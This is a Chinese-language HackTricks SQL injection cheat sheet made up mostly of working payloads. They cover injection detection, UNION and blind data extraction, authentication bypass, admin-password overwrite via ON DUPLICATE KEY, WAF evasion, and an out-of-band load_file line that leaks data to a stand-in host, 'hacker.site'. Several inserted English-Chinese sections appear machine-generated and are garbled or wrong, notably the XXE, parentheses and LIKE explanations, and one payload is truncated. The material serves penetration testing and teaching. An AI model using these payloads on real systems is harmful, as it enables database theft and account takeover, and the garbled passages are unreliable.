# SQL注入
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
[**RootedCON**](https://www.rootedcon.com/)是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。
{% embed url="https://www.rootedcon.com/" %}
## 什么是SQL注入?
SQL注入是一种Web安全漏洞,允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据,或者应用程序本身能够访问的任何其他数据。在许多情况下,攻击者可以修改或删除这些数据,从而对应用程序的内容或行为造成持久性更改。\
在某些情况下,攻击者可以将SQL注入攻击升级为对基础服务器或其他后端基础设施的入侵,或者进行拒绝服务攻击。(来自[这里](https://portswigger.net/web-security/sql-injection))。
> 在本文中,我假设我们已经发现了可能的SQL注入,并讨论了确认SQL注入、侦查数据库和执行操作的可能方法。
## 入口点检测
你可能已经发现了一个**表面上容易受到SQL注入攻击**的站点,只是因为服务器在处理与SQLi相关的输入时表现出异常。因此,你需要做的**第一件事**是如何在不破坏查询的情况下**注入数据**。为此,你首先需要找到如何**从当前上下文中逃逸**的方法。\
以下是一些有用的示例:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
然后,你需要知道如何**修复查询以避免错误**。为了修复查询,你可以**输入**数据,使**先前的查询接受新数据**,或者你可以只是**输入**你的数据并在末尾**添加一个注释符号**。
请注意,如果你能看到错误消息或者能够发现查询在工作时和不工作时的差异,这个阶段会更容易。
### **注释**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### 通过逻辑操作确认
确认SQL注入的最佳方法之一是通过使其执行**逻辑操作**并获得预期结果。\
例如:如果GET参数`?username=Peter`返回与`?username=Peter' or '1'='1`相同的内容,那么你找到了一个SQL注入。
你也可以将这个概念应用到**数学运算**上。例如:如果`?id=1`返回与`?id=2-1`相同的内容,那么是SQL注入。
```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```
这个单词列表是为了尝试以提议的方式**确认SQL注入**而创建的:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### 使用时间确认
在某些情况下,您**不会注意到页面上的任何变化**。因此,发现盲目的SQL注入的一个好方法是让数据库执行操作,并且会对页面加载所需的时间产生**影响**。\
因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
在某些情况下,**不允许使用sleep函数**。那么,您可以使用**执行复杂操作**的查询来代替这些函数,这将需要几秒钟的时间。_这些技术的示例将在每个技术上单独进行注释_。
### 识别后端
识别后端的最佳方法是尝试执行不同后端的函数。您可以使用前一节中的_**sleep**_ **函数**或以下函数:
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
此外,如果您可以访问查询的输出,您可以使其**打印数据库的版本**。
{% hint style="info" %}
接下来,我们将讨论不同方法来利用不同类型的SQL注入。我们将以MySQL为例。
{% endhint %}
### 使用PortSwigger进行识别
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## 利用基于Union的注入
### 检测列数
如果您可以看到查询的输出,这是利用它的最佳方法。\
首先,我们需要找出**初始请求**返回的**列数**。这是因为**两个查询必须返回相同数量的列**。\
通常有两种方法用于此目的:
#### Order/Group by
不断增加数字,直到获得False响应。尽管GROUP BY和ORDER BY在SQL中具有不同的功能,但它们都可以以完全相同的方式用于确定查询中的列数。
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
选择更多的空值,直到查询正确为止:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_在某些情况下,查询的两侧列的类型必须相同,因此您应该使用`null`值,因为在任何情况下都是有效的。_
### 提取数据库名称、表名称和列名称
在下面的示例中,我们将检索所有数据库的名称,数据库中表的名称以及表中的列名称:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_每个不同的数据库都有一种不同的方法来发现这些数据,但方法论是相同的。_
## 利用隐藏的基于联合的注入
如果你能看到查询的输出,但无法进行基于联合的注入,那么你正在处理一个隐藏的基于联合的注入。\
在这种情况下,你将面临盲注入。要将盲注入转变为基于联合的注入,你需要提取在后端执行的查询。\
你可以通过使用盲注入和目标DBMS的默认表来实现。要了解这些默认表,请阅读目标DBMS的文档。\
在提取查询之后,你需要相应地调整你的有效载荷,安全地关闭原始查询。然后在有效载荷中附加一个联合查询,并开始利用新获得的基于联合的注入。
完整文章:https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
## 利用基于错误的注入
如果由于某种原因你**无法**看到**查询的输出**,但你可以**看到错误消息**,你可以利用这些错误消息从数据库中**提取**数据。\
按照与基于联合的利用类似的流程,你可以成功地转储数据库。
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## 利用盲注进行攻击
在这种情况下,您无法看到查询的结果或错误,但是您可以通过页面上的不同内容来区分查询返回的是true还是false响应。\
在这种情况下,您可以利用这种行为逐个字符地转储数据库:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## 利用错误盲注进行攻击
这与之前的情况相同,但不再区分查询的真/假响应,而是可以区分SQL查询是否出现错误(可能是因为HTTP服务器崩溃)。因此,在这种情况下,每次猜测正确的字符时,您可以强制引发SQL错误:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 利用基于时间的SQL注入
在这种情况下,没有办法根据页面的上下文来区分查询的响应。但是,如果猜测的字符是正确的,你可以使页面加载时间变长。我们之前已经看到过这种技术的使用,以确认SQL注入漏洞。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## 堆叠查询
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管执行了后续查询,但**结果不会返回给应用程序**。因此,此技术主要用于与**盲漏洞**相关的情况,您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。
**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持它们:`QUERY-1-HERE; QUERY-2-HERE`
## 带外利用
如果**没有其他**利用方法**奏效**,您可以尝试让**数据库将信息泄露**到由您控制的**外部主机**。例如,通过DNS查询:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### 通过XXE进行带外数据泄露
XXE(XML外部实体注入)是一种常见的Web应用程序漏洞,可以利用它来从目标系统中泄露数据。在XXE攻击中,攻击者通过向目标应用程序发送恶意的XML请求来触发漏洞。这些恶意请求中包含了指向外部实体的引用,攻击者可以利用这些引用来读取敏感数据并将其发送到自己的服务器。
然而,有些情况下,目标系统可能无法直接与攻击者的服务器进行通信,例如防火墙或其他安全措施可能会阻止此类通信。在这种情况下,攻击者可以利用带外数据泄露技术来绕过这些限制。
带外数据泄露是一种利用其他协议(如HTTP、DNS或SMTP)来将数据从目标系统传输到攻击者控制的服务器的技术。在XXE攻击中,攻击者可以通过在恶意XML请求中插入带外数据泄露的有效载荷来实现这一点。
例如,攻击者可以在恶意XML请求中插入一个外部实体引用,该引用指向一个特殊的URL,该URL会触发目标系统向攻击者的服务器发送HTTP请求。攻击者可以在自己的服务器上监听这些请求,并从中提取敏感数据。
通过使用带外数据泄露技术,攻击者可以绕过防火墙或其他安全措施,将敏感数据从目标系统中泄露出来,而无需直接与攻击者的服务器进行通信。这使得攻击者能够更加隐蔽地进行数据泄露,并且更难被检测到。
要利用XXE进行带外数据泄露,攻击者需要了解目标系统的配置和环境,并选择适合的带外通信协议和有效载荷。同时,攻击者还需要在自己的服务器上设置相应的监听器来接收从目标系统发送的数据。
总结一下,通过XXE进行带外数据泄露是一种利用XML外部实体注入漏洞的技术,可以绕过防火墙或其他安全措施,将敏感数据从目标系统中泄露出来。攻击者可以利用其他协议来传输数据,并在自己的服务器上接收和提取这些数据。
```sql
a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- -
```
## 自动化利用
查看[SQLMap Cheetsheat](sqlmap/)以使用[**sqlmap**](https://github.com/sqlmapproject/sqlmap)利用SQLi漏洞。
## 技术特定信息
我们已经讨论了利用SQL注入漏洞的所有方法。在本书中,可以找到一些与数据库技术相关的更多技巧:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
或者您可以在[**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的**许多技巧**。
[**RootedCON**](https://www.rootedcon.com/)是**西班牙**最重要的网络安全活动之一,也是**欧洲**最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流。
{% embed url="https://www.rootedcon.com/" %}
## 身份验证绕过
尝试绕过登录功能的列表:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}
### 身份验证绕过(原始MD5)
当使用原始MD5时,密码将被查询为简单字符串,而不是十六进制字符串。
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
允许攻击者构造一个包含`true`语句的字符串,例如`' or 'SOMETHING`。
```sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
```
### 哈希认证绕过
In some cases, web applications use hash-based authentication to verify the user's credentials. This authentication method involves hashing the user's password and comparing it with the stored hash value. However, if the application does not properly validate the user input, it may be vulnerable to hash authentication bypass attacks.
在某些情况下,Web应用程序使用基于哈希的认证来验证用户的凭据。这种认证方法涉及对用户的密码进行哈希处理,并将其与存储的哈希值进行比较。然而,如果应用程序没有正确验证用户输入,可能会存在哈希认证绕过攻击的漏洞。
To bypass hash authentication, an attacker can exploit vulnerabilities in the input validation process to inject specially crafted input that will bypass the hash comparison. This can be achieved through various techniques, such as SQL injection or manipulating the input to produce a specific hash collision.
为了绕过哈希认证,攻击者可以利用输入验证过程中的漏洞,注入特制的输入,以绕过哈希比较。这可以通过各种技术实现,例如SQL注入或操纵输入以产生特定的哈希碰撞。
To identify and exploit hash authentication bypass vulnerabilities, you can follow these steps:
要识别和利用哈希认证绕过漏洞,可以按照以下步骤进行操作:
1. **Identify the authentication mechanism**: Determine how the application is performing the hash-based authentication.
**识别认证机制**:确定应用程序如何执行基于哈希的认证。
2. **Analyze the input validation**: Understand how the application validates user input and look for any potential vulnerabilities.
**分析输入验证**:了解应用程序如何验证用户输入,并寻找任何潜在的漏洞。
3. **Craft malicious input**: Create specially crafted input that can bypass the hash comparison.
**构造恶意输入**:创建特制的输入,以绕过哈希比较。
4. **Test the input**: Submit the malicious input and observe the application's response. If the authentication is bypassed, the application will grant access without the correct credentials.
**测试输入**:提交恶意输入并观察应用程序的响应。如果认证被绕过,应用程序将在没有正确凭据的情况下授予访问权限。
By successfully bypassing hash authentication, an attacker can gain unauthorized access to the application and potentially perform further malicious actions.
通过成功绕过哈希认证,攻击者可以未经授权地访问应用程序,并有可能执行进一步的恶意操作。
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**推荐列表**:
您应该将列表中的每一行作为用户名,密码始终为:_**Pass1234.**_\
(这些有效载荷也包含在本节开头提到的大列表中)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK身份验证绕过
如果'被转义,您可以使用%A8%27,当'被转义时,将创建:0xA80x5c0x27(_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
```python
import requests
def sql_injection(url, payload):
# Construct the SQL injection payload
payload = f"' OR {payload} -- "
# Send the request with the payload
response = requests.get(url + payload)
# Check if the response indicates a successful SQL injection
if "Error" in response.text:
print("SQL injection successful!")
else:
print("SQL injection failed.")
# Example usage
url = "https://example.com/login"
payload = "1=1"
sql_injection(url, payload)
```
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### 多语境注入(多上下文)
Polyglot injection refers to a type of SQL injection attack that can work across multiple database management systems (DBMS). It involves crafting a malicious payload that is capable of exploiting vulnerabilities in different DBMS, such as MySQL, Oracle, SQL Server, and PostgreSQL.
多语境注入是一种可以在多个数据库管理系统(DBMS)上运行的SQL注入攻击类型。它涉及构造恶意有效负载,能够利用不同DBMS(如MySQL、Oracle、SQL Server和PostgreSQL)中的漏洞。
The advantage of using a polyglot injection is that it allows an attacker to target multiple systems with a single payload, increasing the chances of a successful attack. By carefully crafting the payload to be compatible with different DBMS syntax and behavior, the attacker can exploit vulnerabilities across various systems.
使用多语境注入的优势在于它允许攻击者使用单个有效负载来攻击多个系统,增加了成功攻击的机会。通过精心构造与不同DBMS语法和行为兼容的有效负载,攻击者可以利用各种系统中的漏洞。
To create a polyglot injection payload, the attacker needs to have a deep understanding of the syntax and behavior of the target DBMS. By leveraging the similarities and differences between different DBMS, the attacker can create a payload that is interpreted differently by each system, but still achieves the desired malicious outcome.
要创建多语境注入有效负载,攻击者需要对目标DBMS的语法和行为有深入的了解。通过利用不同DBMS之间的相似性和差异,攻击者可以创建一个在每个系统中以不同方式解释的有效负载,但仍然实现所需的恶意结果。
It is important to note that polyglot injection is a complex technique that requires advanced knowledge and expertise in SQL injection attacks. It is typically used by experienced hackers and penetration testers to exploit vulnerabilities in multiple systems simultaneously.
需要注意的是,多语境注入是一种复杂的技术,需要对SQL注入攻击有高级知识和专业技能。通常由经验丰富的黑客和渗透测试人员同时利用多个系统中的漏洞。
To protect against polyglot injection attacks, it is crucial to implement proper input validation and sanitization techniques in web applications. This includes using parameterized queries or prepared statements, input validation filters, and strict input length restrictions.
为了防止多语境注入攻击,关键是在Web应用程序中实施适当的输入验证和净化技术。这包括使用参数化查询或预编译语句、输入验证过滤器和严格的输入长度限制。
By following secure coding practices and regularly updating and patching the underlying software, organizations can significantly reduce the risk of polyglot injection attacks and other SQL injection vulnerabilities.
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## 插入语句
### 修改现有对象/用户的密码
要做到这一点,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**),并进行一些修改:
* 创建名为:**AdMIn**(大小写字母)
* 创建名为:**admin=**的用户
* **SQL截断攻击**(当用户名或电子邮件中存在某种**长度限制**时)--> 创建名为:**admin \[很多空格] a**的用户
#### SQL截断攻击
如果数据库存在漏洞,并且用户名的最大字符数为30,并且您想冒充用户**admin**,请尝试创建一个名为:"_admin \[30个空格] a_"的用户名和任意密码。
数据库将**检查**是否在数据库中存在**输入的用户名**。如果**不存在**,它将**截断用户名**到**允许的最大字符数**(在本例中为:"_admin \[25个空格]_"),然后**自动删除末尾的所有空格**,并在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着它没有起作用)。
更多信息:[https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_注意:在最新的MySQL安装中,此攻击将不再按照上述描述起作用。虽然比较仍然默认忽略尾随空格,但尝试插入长度超过字段长度的字符串将导致错误,并且插入将失败。有关更多信息,请参阅_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
### MySQL基于时间的插入检查
根据需要添加尽可能多的`','',''`以退出VALUES语句。如果延迟执行,则存在SQL注入。
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE 关键字用于告诉MySQL在应用程序尝试插入已经存在于表中的行时应该做什么。我们可以使用这个关键字来更改管理员密码,方法如下:
```
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```
### 提取信息
#### 同时创建两个账户
在尝试创建新用户时,需要提供用户名、密码和电子邮件:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### 使用十进制或十六进制
使用这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。
使用**hex2dec**和**substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
要获取文本,您可以使用以下方法:
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
使用**hex**和**replace**(以及**substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
[**RootedCON**](https://www.rootedcon.com/) 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚会。
{% embed url="https://www.rootedcon.com/" %}
## 路由SQL注入
路由SQL注入是一种情况,其中可注入的查询不是产生输出的查询,而是可注入的查询的输出进入产生输出的查询。([论文](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
示例:
```sql
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## WAF绕过
### 无空格绕过
无空格(%20)- 使用空格的替代方式进行绕过
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
## No Whitespace - 通过使用注释绕过
In some cases, web applications may have filters in place that block certain characters or patterns, such as whitespace. These filters are designed to prevent SQL injection attacks by blocking common attack vectors.
然而,在某些情况下,Web应用程序可能会设置过滤器来阻止特定字符或模式,例如空格。这些过滤器旨在通过阻止常见的攻击向量来防止SQL注入攻击。
One technique to bypass these filters is to use comments in the SQL injection payload. Comments in SQL are used to add notes or explanations and are ignored by the database engine. By leveraging comments, we can inject malicious SQL code without triggering the filters.
绕过这些过滤器的一种技术是在SQL注入负载中使用注释。SQL中的注释用于添加注释或解释,并且数据库引擎会忽略它们。通过利用注释,我们可以注入恶意的SQL代码而不触发过滤器。
The basic idea is to enclose the injected SQL code within comment tags, such as `/* */` or `--`. This effectively hides the injected code from the filters.
基本思想是将注入的SQL代码包含在注释标签中,例如`/* */`或`--`。这有效地将注入的代码隐藏在过滤器之外。
Here's an example of how to bypass a whitespace filter using comments:
以下是使用注释绕过空格过滤器的示例:
Original SQL query:
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
```
Injected SQL query with comments:
```sql
SELECT * FROM users WHERE username = 'admin'/*' AND password = 'password'
```
In this example, we have commented out the remaining part of the original query by enclosing it within `/*` and `*/`. The database engine will only execute the part of the query before the comment, effectively bypassing the whitespace filter.
在这个例子中,我们通过将剩余部分的原始查询包含在`/*`和`*/`之间来注释掉它。数据库引擎只会执行注释之前的查询部分,有效地绕过了空格过滤器。
It's important to note that this technique may not work in all cases, as the effectiveness of filters can vary depending on the specific implementation. Additionally, it's crucial to thoroughly test and validate the injected SQL code to ensure it achieves the desired outcome without causing unintended consequences.
需要注意的是,这种技术可能在所有情况下都不起作用,因为过滤器的有效性可能因具体实现而异。此外,必须彻底测试和验证注入的SQL代码,以确保它能够实现预期的结果,而不会造成意外后果。
```sql
?id=1/*comment*/and/**/1=1/**/--
```
# No Whitespace - 使用括号绕过
## Description
In some cases, web application firewalls (WAFs) or input validation filters may be configured to block certain keywords or patterns commonly associated with SQL injection attacks. One common technique used to bypass these filters is to manipulate the SQL query by removing whitespace characters.
However, in some scenarios, removing whitespace characters may not be possible due to strict input validation or other restrictions. In such cases, an alternative approach is to use parentheses to bypass the filters.
## Technique
The idea behind this technique is to enclose the malicious payload within parentheses, effectively changing the structure of the SQL query and bypassing the filters. By doing so, the whitespace characters can be preserved while still injecting the payload.
Consider the following example:
```sql
SELECT * FROM users WHERE username = 'admin' AND password = 'password'
```
To bypass the filters, we can enclose the payload within parentheses:
```sql
SELECT * FROM users WHERE username = 'admin' AND (password = 'password')
```
In this example, the parentheses effectively change the structure of the query, allowing the payload to be injected without removing any whitespace characters.
It's important to note that this technique may not work in all scenarios, as it depends on the specific implementation of the input validation filters. Additionally, it's crucial to thoroughly test the application to ensure that the payload is being injected correctly and not causing any unintended consequences.
## Conclusion
When faced with strict input validation or other restrictions that prevent the removal of whitespace characters, using parentheses to enclose the payload can be an effective technique to bypass filters and successfully inject SQL payloads. However, it's important to understand the limitations of this technique and thoroughly test its effectiveness in each specific scenario.
```sql
?id=(1)and(1)=(1)--
```
### 无逗号绕过
无逗号绕过 - 使用OFFSET、FROM和JOIN进行绕过
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### 通用绕过方法
黑名单使用关键词 - 使用大写/小写绕过
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
## Blacklist using keywords case insensitive - bypass using an equivalent operator
### Introduction
In some cases, web applications implement a blacklist to prevent certain keywords from being used in user input. This is often done to mitigate SQL injection attacks. However, if the blacklist is implemented in a case-insensitive manner, it can be bypassed using an equivalent operator.
### Bypassing a Case-Insensitive Blacklist
To bypass a case-insensitive blacklist, you can use an equivalent operator that the blacklist does not account for. One common example is the "LIKE" operator, which is used for pattern matching in SQL queries.
The "LIKE" operator allows the use of wildcard characters, such as "%" and "_", to match any character or a specific character, respectively. By using the "LIKE" operator, you can construct a query that bypasses the case-insensitive blacklist.
### Example
Suppose a web application has a case-insensitive blacklist that prevents the use of the keyword "admin" in user input. The application uses the following query to retrieve user information from the database:
```sql
SELECT * FROM users WHERE username = 'input';
```
To bypass the blacklist, you can use the "LIKE" operator to match the keyword "admin" in a case-insensitive manner. The following payload can be used:
```sql
SELECT * FROM users WHERE username LIKE '%a%dm%in%';
```
This payload will match any username that contains the letters "a", "d", "m", and "in" in any order, effectively bypassing the blacklist.
### Conclusion
When a web application implements a case-insensitive blacklist to prevent certain keywords, it is possible to bypass it using an equivalent operator like the "LIKE" operator. By understanding how the blacklist is implemented and using the appropriate bypass technique, you can successfully exploit SQL injection vulnerabilities.
```
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### 科学计数法WAF绕过
您可以在[gosecure博客](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/)中找到更详细的解释。\
基本上,您可以以意想不到的方式使用科学计数法来绕过WAF:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### 绕过列名限制
首先,注意如果**原始查询和你想从中提取标志的表具有相同数量的列**,你可以简单地执行以下操作:`0 UNION SELECT * FROM flag`
可以通过以下查询**访问表的第三列而不使用列名**:`SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`,所以在SQL注入中,它看起来像是这样:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
